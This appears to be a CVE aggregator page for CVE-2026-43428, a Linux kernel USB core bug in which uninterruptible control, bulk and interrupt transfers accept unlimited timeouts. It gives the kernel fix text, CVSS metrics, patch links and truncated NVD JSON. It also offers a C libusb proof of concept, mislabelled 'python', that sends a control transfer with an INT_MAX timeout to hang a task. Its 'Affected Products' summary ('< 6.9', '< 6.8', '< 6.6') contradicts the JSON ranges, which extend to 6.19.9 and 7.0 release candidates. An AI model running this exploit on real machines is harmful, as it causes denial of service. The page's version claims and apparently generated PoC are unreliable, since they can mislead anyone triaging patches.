CVE-2026-43428

Description

In the Linux kernel, the following vulnerability has been resolved: USB: core: Limit the length of unkillable synchronous timeouts The usb_control_msg(), usb_bulk_msg(), and usb_interrupt_msg() APIs in usbcore allow unlimited timeout durations. And since they use uninterruptible waits, this leaves open the possibility of hanging a task for an indefinitely long time, with no way to kill it short of unplugging the target device. To prevent this sort of problem, enforce a maximum limit on the length of these unkillable timeouts. The limit chosen here, somewhat arbitrarily, is 60 seconds. On many systems (although not all) this is short enough to avoid triggering the kernel's hung-task detector. In addition, clear up the ambiguity of negative timeout values by treating them the same as 0, i.e., using the maximum allowed timeout.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel < 6.9 (specific commits)

Linux Kernel < 6.8

Linux Kernel < 6.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-43428: USB Core Timeout Hang
 * This PoC demonstrates triggering the unkillable wait issue
 * by sending a USB control message with an excessive timeout.
 * Requires: libusb-1.0 development libraries
 * Compile: gcc -o poc_usb_hang poc_usb_hang.c -lusb-1.0
 */

#include <libusb-1.0/libusb.h>
#include <stdio.h>
#include <unistd.h>

int main() {
    libusb_device_handle *handle = NULL;
    int ret;

    // Initialize libusb
    ret = libusb_init(NULL);
    if (ret < 0) {
        fprintf(stderr, "Failed to initialize libusb\n");
        return 1;
    }

    // Open a USB device (VID/PID placeholders)
    // In a real scenario, the attacker targets a specific vulnerable device
    handle = libusb_open_device_with_vid_pid(NULL, 0x1234, 0x5678);
    
    if (!handle) {
        printf("No target device found. Connect a USB device to test.\n");
        libusb_exit(NULL);
        return 1;
    }

    printf("Device opened. Sending control transfer with huge timeout...\n");

    unsigned char data[64];
    // Attempt to send a control transfer with a massive timeout value
    // INT_MAX or similar value to trigger the unkillable sleep before patch
    unsigned int massive_timeout = 2147483647; // INT_MAX

    ret = libusb_control_transfer(
        handle,
        0x80,          // bmRequestType (Direction: In, Type: Standard, Recipient: Device)
        0x06,          // bRequest (GET_DESCRIPTOR)
        0x0100,        // wValue (Descriptor Type: Device, Index: 0)
        0x0000,        // wIndex
        data,          // data buffer
        sizeof(data),  // wLength
        massive_timeout // timeout in milliseconds
    );

    if (ret < 0) {
        perror("Transfer failed or timed out (after patch)");
    } else {
        printf("Transfer completed (unexpected).\n");
    }

    libusb_close(handle);
    libusb_exit(NULL);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43428
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43428
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43428/
[4] VulDB https://vuldb.com/cve/CVE-2026-43428
[5] https://git.kernel.org/stable/c/06d2bbc4c66c6b0e8a43728c4949026026a5be67
[6] https://git.kernel.org/stable/c/1015c27a5e1a63efae2b18a9901494474b4d1dc3
[7] https://git.kernel.org/stable/c/24b31a227f679a942d820840a4dea7f0c09a387f
[8] https://git.kernel.org/stable/c/2d34cb4d1d6283b4be9c78f4a83ed6956d3069ec
[9] https://git.kernel.org/stable/c/4e86f5b79e62ded7e3c3ebd688cf5775e618148a
[10] https://git.kernel.org/stable/c/64f3d75633aedc12bdff220e9a4337177430bd9d
[11] https://git.kernel.org/stable/c/659c0c7d50a4b0f6aa197c4c098cfd91daf63862
[12] https://git.kernel.org/stable/c/6c62935670acdbb7687ced20494923b66fbb0367

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43428", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T15:16:54.990", "lastModified": "2026-05-20T18:26:17.250", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nUSB: core: Limit the length of unkillable synchronous timeouts\n\nThe usb_control_msg(), usb_bulk_msg(), and usb_interrupt_msg() APIs in\nusbcore allow unlimited timeout durations. And since they use\nuninterruptible waits, this leaves open the possibility of hanging a\ntask for an indefinitely long time, with no way to kill it short of\nunplugging the target device.\n\nTo prevent this sort of problem, enforce a maximum limit on the length\nof these unkillable timeouts. The limit chosen here, somewhat\narbitrarily, is 60 seconds. On many systems (although not all) this\nis short enough to avoid triggering the kernel's hung-task detector.\n\nIn addition, clear up the ambiguity of negative timeout values by\ntreating them the same as 0, i.e., using the maximum allowed timeout."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.12.1", "versionEndExcluding": "5.10.253", "matchCriteriaId": "5F0E43E1-33E5-4828-9B4A-F710AF2E7217"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.167", "matchCriteriaId": "2EDC6BAF-B710-4E26-B6AA-D68922EE7B43"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.130", "matchCriteriaId": "C57BB918-DF28-46B3-94F7-144176841267"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.78", "matchCriteriaId": "28D591F5-B196-4CC9-905C-DC80F116E7A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.19", "matchCriteriaId": "D394AC60-6F28-435F-872A-CCDF384B8331"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.9", "matchCriteriaId": "E825E7C3-FEAC-4FD3-8A81-78D7387948C9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:-:*:*:*:*:*:*", "matchCriteriaId": "6F62EECE-8FB1-4D57-85D8-CB9E23CF313C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc2:*:*:*:*:*:*", "matchCriteriaId": "4F76C298-81DC-43E4-8FC9-DC005A2116EF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc3:*:*:*:*:*:*", "matchCriteriaId": "0AB349B2-3F78-4197-882B-90ADB3BF645A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc4:*:*:*:*:*:*", "matchCriteriaId": "6AC88830-A9BC-4607-B572-A4B502FC9FD0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc5:*:*:*:*:*:*", "matchCriteriaId": "476CB3A5-D022-4F13-AAEF-CB6A5785516A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/06d2bbc4c66c6b0e8a43728c4949026026a5be67", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/1015c27a5e1a63efae2b18a9901494474b4d1dc3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/24b31a227f679a942d820840a4dea7f0c09a387f", ... (truncated)